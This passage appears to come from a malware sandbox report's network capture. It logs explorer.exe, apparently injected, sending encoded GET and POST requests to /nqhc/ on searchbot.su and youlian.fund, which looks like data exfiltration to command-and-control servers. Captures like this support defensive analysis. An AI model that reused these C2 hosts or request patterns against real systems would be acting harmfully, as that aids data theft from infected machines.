xEUzyWJrZVywoyCeqkkTkLI6tpvsrbIUDoMR4zimKX73TxsZ1gSvhA9gW9f3a7AfVi0qKTp99VLYBa(y8E3yDtm9lOIVqwjzsy2NmXUO52zXm7olXxay7c~4Bv2ktc~ulmT0U30wrf81YP7dSNFHc8x3i6oV3NZ1ccQTRDbSxRaY83yBqvzurctok3lwG95fKmTPm6DlTA9LnSZrgriTgP2KdFcrFQXuceHTeHS-RAgAHBrrGY9b0oHbRmQeX_Eh(WAxo5wPV9QZibJLnSQsFjojJFt_bONv4HkFB4kV9KPyW0ITa7bSxtEC2x0lI3EXOC2-rQTWP9(j6XD4~wBwrvU8GuoqeuSi2dPQYb2vTSSPPrV082ZbpwvITyNygd9J9HBzOYAGi3MIGYnb2AsifutJmAOjgMq7yqnL0SBjZqVf36LsR03xY5es2TfAwthAj0AVggu-(AmAi9yUaOJNeQCOMIIEVbBTZNxekXKJ2mnNkZsdWKxxtIKT5OC2vdWMnfL_nuXVrOkznN8xtJxB7LLmg7HHlt4znkFAne5bKVMD9pR9KlkwQ-kZSQ8BUn(wIZ2vQQb89rJzb6yiv7AjAFXUrbtIBCbqpI4dsAXfhLEfgRgTMCu2YbOzHEjfA0wPgbs0Zv6bJBteoKw3G5Q3~yoXoG23yKZT~S4OtP8XgO8RGBgLkNoKcDRl57~kxOzaYoy0xJIPBpx89m99WiPvZ18zIrEdw4CkVtKe9DIvTp~fIdQ0W6954mbgDsvpdcslqtFoTa~L1fPD7Sba7F37U_m9ad6xMTRe0iGpXhHMeQMB4XVb7-(G5iczTpDiv1d3Wd3GZf(UoJO5Z8RKu-YkRs4xhLkqPqpfM3(czjMR~62v~45UYTLXu1Jha_O9Nv1nDWarY80G3CquqyT3(SFjS2in4aCqvdlGHCQ57fRm6UkXSWFRCdqPfHdXs1CTBeQEfd2n50KyxuuA(JfXMKAy80KAzjxxUunJitoMhv3KVx2kKCNSfqnX2wVGVErDRmW9S-aylu1Vj0hK3RsBYF8lka74hynj5v4FH2u_lAreR6yObugIjdoA28X5zA5ORUPW1wtm1EmNTn(ReZxuj9K2lG~xUyeEh5SaXDK-kGvGFNGuCuTDJTrz~XbePmtpRDpO(YzugoKRIjXjHQp0Z2i3EjMOzQ65Yf0Lm6CUq1m8olCqXSYec2u07O~1BECVJfmik2L57BmfgFY5QYJqWx1GNPr4f72MeKXZ0_iPjIXq117cuZKZsdKox66GjaX9aGYB11P4OWcyTgWY0aYgY4N-mR0MfHGin9pR9ZA3B-N_cybDIY8cIYUXaeJ-249iZxVDcmDfIFL4dJ3Mu4xkWtFTvOryZhAmKyAK~ktk1KRK8mOnti2YMBCwDvkw1tCSGQrNRA7VQtWL4GLmXuL8WNkiXrWfKfHRpkZpf5O8TmPt6QySzGt_j893HxJn2pwdfgpyyvULWwowYbumw27oMhNf2XNCbQOlhfMRqKPkg0MudKaTG_YVpw(1282LkjeCuOmWPK8mrN5vkqP7fv8IQwZ1MXDrdAn81LmRy8UOHyX0Gcn0CAezTA~b6HXqjBCwAPPhIsZOf6Ys8y4enx1H3lsLFq2mkKqf1rckZ-EnFkGh0w9XrBhDtEQ9cy3CjxuzilrSnhycfGJ2TgykUA2Op4vPPSiwS1bL5zCspZRenDHwrzvoel6VXBKsuVHXdN6l53513SEYoOn4NayUO3rqbQFyu8aNvGbq(_uj3pdcX311EwUpJF1toNdJ8oGDiQU2Q-Mo~QG-yZAt7neHevUyUcGmd_d8IucR~7GtjlG8bZDJbwer1ZY47-lHsTg_zwefBhy39nBifNXKM3jaV3XYfMnIT8TlKZI1w4Z53LtrBf8lP9tEsBPOGsDV6h(2BF5jmigkqD45UKElN0VlzXz7eVFRt_9wT1wSD3jqgLAPr2IlI8YiyNC6XIyNXEwnHCplFYrv9rMWOSTnmRXPZbfR1cE0Oq5lYxteMowlPn3XF7c7Y7849OjkZCCw9DZHqGmTD1h8SdCJX4OjM0Ee3CXEP1f54OEKtfKswr8mwcAWRHXI(oTFKnp8ru~MVrteQvg8~mLCTE49dD7jxcTkdMSEnbNgw7S4ZJ5LJJNkH-7JgKiz6Sc4x7UZkFUuQk7a8sl6fjcliR~W13SXGt07B59PnGdr6SIrJZ5qGfavCAAjdfts8aCjpJMy1CA777Kq4gZYAzwcy-39FII1Jf9ZEF6-HwBXcGQHwIldO3HtV4GuIkInn1Vac7(k3N3CqBNvDxS3HTAOH5M93lkzoqSkpLQfEsdWkXufo70qCiEbbP5RLpEjmQTwgvVimcFooysXVzjJ6woJg9TNbS3uWCj31FfTQnLORE(lrYcEDHOjyh6pd53UM5Ko9LvcRLAJIzOi3bHrLMVggpRrdzDz07UwvTUGkf1s3U82cJzOk9ntgdxo6rtakQKhiL9clNF3F1qT1no23Ehhorx7HK4tpzlnRm4QPZmnmFHfANjqEqlMTCBVhTDz(HlKHZpYHWsjEDxlG2TFjLf1aMF_I4ohZVhy3r53par7qra3UDS4NWHgD7(f~MWL7WqqE5PZwQYGGFsRzPTxldga4SaSbeZrlwXtnKBMIgzaEshfp1tkaTyVYIDPdWqCDp8zAiVfw-8ms4i-NjYaCmGSH7fV5a9_JUqHKDVakjpXmrFei_MtP10c0Uo0I-RB3SEtQNzMvF8UvE06GBVMA0EQ6OzCmkyPtJaCFvYQ2nuaERI9UHjy955cIY4UFtMCgFxZ2s9XTsCBPYXam677GfE9yHobJLgD5WiVqkzpWqs0fxpQOwulTgHC(64lbmcFu2bn9NOOHsO4JsAo7EnLDV68fqRy~qjq1EwrBRbk1Vp_l5wFBrYMzx9Z
Dec 5, 2022 15:18:21.838905096 CET	12232	OUT	Data Raw: 48 38 72 71 53 37 4b 6b 79 36 4f 41 48 57 68 4c 53 42 56 67 57 42 71 76 71 30 38 5f 66 57 48 64 54 38 73 4f 6f 4c 31 50 61 58 59 36 57 6b 35 2d 5a 37 31 58 6f 73 38 76 38 31 46 4b 48 61 38 48 41 5f 5a 5a 59 62 4d 4a 4d 44 52 71 41 4b 77 43 76 33 Data Ascii: H8rqS7Kky6OAHWhLSBVgWBqvq08_fWHdT8sOoL1PaXY6Wk5-Z71Xos8v81FKHa8HA_ZZYbMJMDRqAKwCv3TAiXfTJNMO5VX4PWPOo5cYvcXASU2mBVQJfdHQa3eEr-AzlxN4DC87~ynasTCfse1umPFaQv9ZKGjC7ewUzKWj5da9SIF4tqAMuDgpMKwIR52FrB5XlzYBhE21V_fInrUOgAr5Sa3Zi7xo02hhiomtYtGHnuaiWc5
Dec 5, 2022 15:18:21.893280029 CET	12235	OUT	Data Raw: 7e 53 6a 56 67 33 68 36 42 46 65 50 55 5f 32 70 43 44 4a 61 43 70 62 56 33 4c 42 70 4f 69 6b 4e 74 79 67 6e 35 37 51 69 37 67 74 31 55 61 67 43 52 49 71 6a 48 4b 4f 6b 4e 73 34 2d 4e 6c 49 51 51 36 6b 4e 6b 38 47 7a 64 5a 33 51 64 43 55 73 34 57 Data Ascii: ~SjVg3h6BFePU_2pCDJaCpbV3LBpOikNtygn57Qi7gt1UagCRIqjHKOkNs4-NlIQQ6kNk8GzdZ3QdCUs4W1XpsS8uwwKz2jBw3U_5zT4mpeiPwkwcBzFqjHXqWX6V9nG~U9KBScccrPCtVohMRY1IlF8w2SO41ymWYDUPZZb9dOXNIcfR7ORIJbULTVqsa30j1HG~gbjMVB862Whzm73by~9zvfJtUcKhioQrkft(O4LTlH3oly
Dec 5, 2022 15:18:21.893788099 CET	12238	OUT	Data Raw: 50 2d 50 62 7e 6d 69 31 42 52 57 4d 34 52 43 63 54 4e 45 56 7a 67 65 4c 6e 79 7e 48 6c 35 30 73 6b 52 76 50 4e 54 6a 55 54 74 47 4f 52 58 42 45 57 55 55 43 6d 4d 78 30 62 58 54 73 72 58 4b 68 51 33 39 2d 52 47 69 74 35 5f 58 57 53 70 78 76 67 44 Data Ascii: P-Pb~mi1BRWM4RCcTNEVzgeLny~Hl50skRvPNTjUTtGORXBEWUUCmMx0bXTsrXKhQ39-RGit5_XWSpxvgD0Yb_jIkA2r26IGxWyZ~yw8HWJZ0V(K7DwyDrT_Z9hqguHOeJXNcFOsHHhbPsk157Z_VRilRViy6uSZUZ0aNQTUaWxc2DoJauvsU9NrUqo3qAOzB4e71LcqWZXiIqagcgUSe8JPH5~Qs5J4vGyZzDjf5a3dFyxyXgX
Dec 5, 2022 15:18:21.894129038 CET	12240	OUT	Data Raw: 51 4b 35 44 41 78 41 52 7a 38 64 6d 66 38 6c 65 69 35 58 79 71 47 61 50 51 48 6d 77 28 4d 72 4e 33 59 33 56 43 4b 61 32 64 67 43 36 50 4a 34 35 73 72 4a 6e 74 69 48 4f 56 6b 54 46 41 68 43 4c 6b 47 4b 7a 49 7a 48 62 43 70 4a 4d 33 5f 5a 6c 50 75 Data Ascii: QK5DAxARz8dmf8lei5XyqGaPQHmw(MrN3Y3VCKa2dgC6PJ45srJntiHOVkTFAhCLkGKzIzHbCpJM3_ZlPu1qFy5q2fPrTWQtcRrXGJlOIwX_iy(2(hyzAFU-PAuG7AePB2gtfhc0gp8Xi_Mijfx2k3LJQbS3zjuk16sNJh6WZ3npCRYdfJPSBhPCEZQqOigY48OKAh7qVilFv-KzxyxX0KspZCLvGXBm3AVas5uTte90ERW1lrJ
Dec 5, 2022 15:18:21.894298077 CET	12243	OUT	Data Raw: 50 63 54 43 57 6b 51 75 39 6c 75 33 51 66 36 30 50 76 53 54 54 32 59 67 4b 51 59 52 4d 78 68 71 51 4f 4c 33 50 77 49 38 43 36 59 49 54 4a 6c 75 55 52 7a 66 77 6c 43 64 75 6f 46 76 65 42 4c 4c 56 4f 69 77 28 52 63 64 57 37 55 69 7e 53 78 6b 55 64 Data Ascii: PcTCWkQu9lu3Qf60PvSTT2YgKQYRMxhqQOL3PwI8C6YITJluURzfwlCduoFveBLLVOiw(RcdW7Ui~SxkUdEvfHKCMOjKbgocShE7cmb9PaRxVxp-CEkyAMqWjxnzzzGmIYYejT2OfWRw1NJXzZjCio00DHviXzYdkFBvtDiVj8Lxp1ZaqcbtnidNt9hI59tlDTZ0Ff3jjC8PJDo-7-kSqrEiv0aX2abnLziHWNpMop6C8dYLawZ
Dec 5, 2022 15:18:21.894751072 CET	12245	OUT	Data Raw: 66 6b 4e 62 74 54 62 56 4b 47 6e 55 48 46 65 57 62 55 41 4a 67 65 55 45 46 79 28 68 48 52 7e 50 51 45 48 58 67 57 78 6f 41 71 59 52 39 52 30 2d 6f 75 6b 64 6d 47 30 70 37 4c 70 49 54 2d 6d 48 58 42 51 32 66 49 69 34 34 5f 30 49 62 79 79 5f 45 36 Data Ascii: fkNbtTbVKGnUHFeWbUAJgeUEFy(hHR~PQEHXgWxoAqYR9R0-oukdmG0p7LpIT-mHXBQ2fIi44_0Ibyy_E661JwEWVGi1oIqEozzANiLJ(vhAuYuWlkabidr2c5xP5ztw7knJIb52xL45~OOhAAW8SC6Eq9HsnniYnruFmvj26WbmzqNn27xinw6FHrvpa08dwnaH1MApHvGqdRETVP44GMX-vkZ7iVPuDnL48FhC0kT5xB47tOS
Dec 5, 2022 15:18:21.894922018 CET	12251	OUT	Data Raw: 69 39 28 63 35 67 31 4a 4a 6e 51 44 6c 4c 74 34 5a 73 58 47 57 61 51 63 75 72 46 49 49 41 44 68 4d 43 66 32 6e 32 64 30 71 38 4a 58 42 33 4f 32 65 66 6d 38 64 38 64 33 57 6e 4e 39 64 52 6c 4c 71 6d 46 54 76 4e 73 4e 32 72 5a 57 77 76 52 34 72 42 Data Ascii: i9(c5g1JJnQDlLt4ZsXGWaQcurFIIADhMCf2n2d0q8JXB3O2efm8d8d3WnN9dRlLqmFTvNsN2rZWwvR4rBimaTRCw9(BvbVUL4A-mawf35Bp7H3cCFonRYxHatmViT~s2glAuXBMJkHdxdYL~vPV1N2BRtrX8Rh2Sk(y4H0I3D0gy1neJTsv1WVOMnRQIVAS9TyAWYmawKoBh7Za2ddJkcrhxJmzCeMvOl3TlecgKovEK-R1b_Z
Dec 5, 2022 15:18:21.895435095 CET	12253	OUT	Data Raw: 48 63 6d 49 56 49 78 76 5a 69 30 50 6d 35 69 4a 59 51 5a 33 34 34 38 45 50 52 6f 72 7e 74 38 78 34 48 6c 39 47 33 55 4b 54 51 65 4d 4c 35 41 6e 77 63 63 56 46 52 42 47 53 6d 6a 4e 68 53 53 65 34 65 59 52 66 36 6b 47 4f 73 31 62 46 68 4c 6d 57 6d Data Ascii: HcmIVIxvZi0Pm5iJYQZ3448EPRor~t8x4Hl9G3UKTQeML5AnwccVFRBGSmjNhSSe4eYRf6kGOs1bFhLmWm3Vd45NZKQq(ClUYWreFcv3MlLQqONMTQcl4MaONrn6aExAL2AS4iYB4jN2bDYQiWGxQao8mtIrxX2NC4hvKXLYXOzCj_IgFAiumiZqjVLBZDSjReuyHHR3msSmY0owtWNsCfMWYbLpbGYUqDP_IpDGUzXrj_5mPHj
Dec 5, 2022 15:18:21.895613909 CET	12258	OUT	Data Raw: 36 78 28 66 6f 46 6d 75 76 2d 34 67 41 45 39 6e 73 42 45 64 77 68 30 54 4f 6c 55 57 4a 45 62 39 52 67 56 79 4d 79 56 6f 4b 32 4e 37 57 31 30 4c 73 5a 74 51 32 39 33 66 51 7a 44 48 37 50 4b 38 43 42 78 48 34 62 7a 52 38 58 44 52 7e 5f 7e 63 31 32 Data Ascii: 6x(foFmuv-4gAE9nsBEdwh0TOlUWJEb9RgVyMyVoK2N7W10LsZtQ293fQzDH7PK8CBxH4bzR8XDR~_~c12mq5etXXCJRma4mIplbb-RsywkCm9TiUc8a57M30XRy7e4YKPvVyePGmXmwYjc303hQRG6TPWxg7jzwZl1WS9e1FbfwmYpA08sy~NruM2Fk2KaoxwVYAp88pmPuOuV6q22Mc1FHiuID8yDZNSIw7rjPePwHCT8YweO
Dec 5, 2022 15:18:21.947818041 CET	12261	OUT	Data Raw: 6a 43 4a 65 5a 66 57 54 51 65 42 51 51 64 56 4f 6d 65 30 4b 67 6d 6e 43 50 35 4b 65 36 4d 61 4b 7a 51 4f 6e 37 4c 71 52 59 69 71 64 44 6a 49 59 73 74 6f 78 6c 52 51 30 52 6c 4e 47 69 4b 31 57 39 6e 69 34 7e 2d 71 59 31 71 73 2d 59 55 50 68 32 4c Data Ascii: jCJeZfWTQeBQQdVOme0KgmnCP5Ke6MaKzQOn7LqRYiqdDjIYstoxlRQ0RlNGiK1W9ni4~-qY1qs-YUPh2L~zUUqT8djEkPX_B3OYIbciaatU8haP~H7SkBr17uSvSgRlVaU3pgfNgXmV~jf1zBnj~04odKQ6Oyx0trMXQzICzDloRJpq02xzktklri3_2n6d7f0P4c0wNPqFGKYgpqmg6N(NHJa7w8UugSGvN-reBv(UCf7MoSx
Dec 5, 2022 15:18:22.064001083 CET	12273	IN	HTTP/1.1 404 Not Found Server: nginx-reuseport/1.21.1 Date: Mon, 05 Dec 2022 14:18:21 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 65 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6a c3 30 10 44 ef fe 8a 6d 4e cd a1 5a 27 b8 d0 83 10 b4 b1 43 03 4e 6a 1a f9 90 a3 12 6d 90 21 b1 5c 49 ae db bf af ec 50 c8 65 61 76 df 0e 33 fc 21 ff 58 c9 43 55 c0 bb dc 96 50 d5 6f e5 66 05 b3 27 c4 4d 21 d7 88 b9 cc 6f 97 25 4b 11 8b dd 4c 24 dc 84 eb 45 70 43 4a 47 11 9a 70 21 91 a5 19 ec 6c 80 b5 ed 5b cd f1 b6 4c 38 4e 10 3f 5a fd 3b fe 2d c4 1d 13 55 c2 3b 21 0d 81 a3 af 9e 7c 20 0d f5 67 09 83 f2 d0 46 ee 3c 72 60 5b 08 a6 f1 e0 c9 7d 93 63 1c bb d1 c9 c5 a1 b4 76 e4 bd 78 ed d4 c9 10 2e 59 c6 9e 17 f0 58 b7 cd cf 1c f6 13 0e 2a c0 30 0c cc 93 72 27 73 b4 81 f9 1e 2a eb 02 bc a4 1c ff 0d 62 ce 29 61 cc 34 36 4b fe 00 08 94 dc 0d 14 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: e9Mj0DmNZ'CNjm!\IPeav3!XCUPof'M!o%KL$EpCJGp!l[L8N?Z;-U;!\| gF<r`[}cvx.YX0r'sb)a46K0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.11.20	49904	45.130.41.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:18:23.919549942 CET	12274	OUT	GET /nqhc/?7nWHV=whxvAX76Kn/dsraFEG6OM4VHSLC6sVqO0rZz4tdexYeFc8oztoloeHnU5/yDvq6vrM0c8H7EZKwvMwvNWmxWHwyHX3Pe6w5pjw==&t0D=yFNHS0IX HTTP/1.1 Host: www.searchbot.su Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:18:24.014523983 CET	12274	IN	HTTP/1.1 404 Not Found Server: nginx-reuseport/1.21.1 Date: Mon, 05 Dec 2022 14:18:23 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 276 Connection: close Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 31 20 28 55 6e 69 78 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 73 65 61 72 63 68 62 6f 74 2e 73 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.51 (Unix) Server at www.searchbot.su Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.11.20	49840	45.130.41.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:06.993468046 CET	11144	OUT	GET /nqhc/?7nWHV=whxvAX76Kn/dsraFEG6OM4VHSLC6sVqO0rZz4tdexYeFc8oztoloeHnU5/yDvq6vrM0c8H7EZKwvMwvNWmxWHwyHX3Pe6w5pjw==&t0D=yFNHS0IX HTTP/1.1 Host: www.searchbot.su Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:15:07.532665014 CET	11144	IN	HTTP/1.1 404 Not Found Server: nginx-reuseport/1.21.1 Date: Mon, 05 Dec 2022 14:15:07 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 276 Connection: close Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 31 20 28 55 6e 69 78 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 73 65 61 72 63 68 62 6f 74 2e 73 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.51 (Unix) Server at www.searchbot.su Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.11.20	49905	154.204.24.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:18:29.317260981 CET	12275	OUT	POST /nqhc/ HTTP/1.1 Host: www.youlian.fund Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.youlian.fund User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.youlian.fund/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 42 6d 47 30 73 32 7a 6e 35 58 66 6d 68 48 6f 57 30 62 7e 34 59 48 41 55 32 31 77 35 52 51 34 67 73 72 39 32 4d 48 45 58 4e 67 6b 55 74 6f 4e 4f 32 4a 78 4a 39 46 72 45 57 76 4d 45 56 5a 42 6b 35 64 56 76 42 4b 68 6a 46 32 36 6a 46 57 43 77 50 79 32 58 32 74 64 6b 7e 36 78 70 70 6c 72 63 4c 79 5a 51 6a 78 68 58 62 68 4c 44 38 62 66 59 78 61 53 44 4a 71 4e 32 66 38 36 4e 69 4c 44 62 63 74 43 64 64 38 4c 34 53 46 7a 6e 33 53 34 39 69 74 44 67 52 34 4b 55 48 4d 52 6a 38 6b 51 7a 75 78 71 49 5a 47 7a 74 4b 42 45 46 7e 5a 77 35 70 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=BmG0s2zn5XfmhHoW0b~4YHAU21w5RQ4gsr92MHEXNgkUtoNO2JxJ9FrEWvMEVZBk5dVvBKhjF26jFWCwPy2X2tdk~6xpplrcLyZQjxhXbhLD8bfYxaSDJqN2f86NiLDbctCdd8L4SFzn3S49itDgR4KUHMRj8kQzuxqIZGztKBEF~Zw5pw).
Dec 5, 2022 15:18:29.653853893 CET	12276	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 05 Dec 2022 14:18:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0
Dec 5, 2022 15:18:29.896816015 CET	12276	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.11.20	49906	154.204.24.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:18:31.638446093 CET	12277	OUT	POST /nqhc/ HTTP/1.1 Host: www.youlian.fund Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.youlian.fund User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.youlian.fund/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 42 6d 47 30 73 32 7a 6e 35 58 66 6d 68 6e 34 57 6e 49 47 34 4a 6e 41 58 7a 31 77 35 44 51 34 6b 73 72 68 32 4d 43 38 48 4e 53 41 55 74 4e 70 4f 31 4d 52 4a 78 6c 72 45 43 5f 4d 46 62 35 41 6f 35 64 59 53 42 4b 4e 6a 46 79 71 6a 48 6b 4b 77 4a 43 32 59 34 4e 64 6e 35 36 78 6f 74 6c 72 47 4c 79 45 35 6a 78 46 58 62 52 58 44 39 65 4c 59 31 50 6d 41 45 71 4e 30 5a 38 36 43 72 72 43 42 63 74 28 67 64 2d 61 4e 56 33 76 6e 32 79 59 39 6a 74 44 6a 66 49 4b 70 4f 73 52 78 73 6e 31 4d 6a 6a 43 78 45 6b 54 58 43 44 34 52 31 35 51 32 78 4c 7e 79 6c 54 48 48 36 53 58 79 67 54 50 42 74 73 44 30 6e 4b 4a 77 70 57 74 70 54 6a 74 56 61 6d 7a 5a 54 78 39 51 4a 66 32 62 4c 6a 68 55 48 6b 56 45 71 66 35 5f 62 36 72 54 6e 41 33 35 53 73 34 4f 57 44 45 48 74 78 61 71 79 6e 73 75 7a 73 36 52 70 49 4b 58 4f 49 31 41 35 61 4f 69 75 48 54 32 68 57 52 66 70 68 54 75 4e 6f 33 44 71 43 5a 6f 49 56 6d 76 56 39 74 35 78 73 70 67 7a 65 46 33 73 39 50 6e 72 36 43 35 67 67 63 6a 32 48 34 4b 6a 78 33 48 66 51 63 6d 74 34 4e 76 31 72 49 77 79 42 33 36 32 42 31 4c 48 47 67 79 79 4f 62 55 31 35 51 61 77 43 74 4d 4f 63 4f 47 62 50 31 72 52 62 45 31 4f 52 48 5a 6b 63 54 4e 45 77 51 34 58 58 46 63 36 58 62 4c 7a 63 71 79 42 55 49 44 31 65 37 59 43 63 6c 54 28 53 4e 35 6b 34 66 56 37 73 4c 31 77 35 76 4e 54 35 6b 75 45 6e 37 4e 79 46 33 73 54 30 28 73 61 47 6c 66 62 33 72 62 4f 55 43 34 4b 44 35 77 35 51 58 74 34 77 49 69 43 44 31 72 76 74 67 69 79 50 51 68 54 39 75 6c 54 62 76 36 78 6b 43 6b 67 44 4a 30 62 42 41 6d 7a 44 77 54 56 51 6a 72 28 55 4a 6d 7e 33 51 75 67 77 55 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=BmG0s2zn5Xfmhn4WnIG4JnAXz1w5DQ4ksrh2MC8HNSAUtNpO1MRJxlrEC_MFb5Ao5dYSBKNjFyqjHkKwJC2Y4Ndn56xotlrGLyE5jxFXbRXD9eLY1PmAEqN0Z86CrrCBct(gd-aNV3vn2yY9jtDjfIKpOsRxsn1MjjCxEkTXCD4R15Q2xL~ylTHH6SXygTPBtsD0nKJwpWtpTjtVamzZTx9QJf2bLjhUHkVEqf5_b6rTnA35Ss4OWDEHtxaqynsuzs6RpIKXOI1A5aOiuHT2hWRfphTuNo3DqCZoIVmvV9t5xspgzeF3s9Pnr6C5ggcj2H4Kjx3HfQcmt4Nv1rIwyB362B1LHGgyyObU15QawCtMOcOGbP1rRbE1ORHZkcTNEwQ4XXFc6XbLzcqyBUID1e7YCclT(SN5k4fV7sL1w5vNT5kuEn7NyF3sT0(saGlfb3rbOUC4KD5w5QXt4wIiCD1rvtgiyPQhT9ulTbv6xkCkgDJ0bBAmzDwTVQjr(UJm~3QugwU.
Dec 5, 2022 15:18:31.972896099 CET	12277	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 05 Dec 2022 14:18:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0
Dec 5, 2022 15:18:32.200808048 CET	12278	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.11.20	49907	154.204.24.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:18:33.937452078 CET	12291	OUT	POST /nqhc/ HTTP/1.1 Host: www.youlian.fund Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.youlian.fund User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.youlian.fund/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 42 6d 47 30 73 32 7a 6e 35 58 66 6d 68 6e 34 57 6e 49 47 34 4a 6e 41 58 7a 31 77 35 44 51 34 6b 73 72 68 32 4d 43 38 48 4e 53 49 55 74 37 31 4f 31 74 52 4a 79 6c 72 45 42 5f 4d 41 62 35 41 6c 35 65 6f 57 42 4b 52 7a 46 30 32 6a 48 33 79 77 4a 78 65 59 6f 64 64 69 32 61 78 75 70 6c 72 53 4c 79 59 74 6a 79 35 74 62 68 54 44 38 65 37 59 78 38 4f 44 47 36 4e 32 5a 38 37 4e 68 37 43 5f 63 74 37 4b 64 2d 57 4e 56 31 72 6e 33 41 51 39 76 65 62 6a 57 34 4b 75 46 4d 52 30 33 58 30 32 6a 6a 47 62 45 6b 54 48 43 43 38 52 31 36 49 32 7e 71 7e 78 72 54 48 48 7a 79 58 78 6b 54 54 4e 74 73 76 73 6e 4b 56 77 70 57 46 70 51 44 74 56 63 43 6e 65 44 42 38 62 66 76 33 44 64 54 38 62 48 6b 78 36 71 65 4e 5f 59 4b 76 54 6b 58 6a 35 55 49 4d 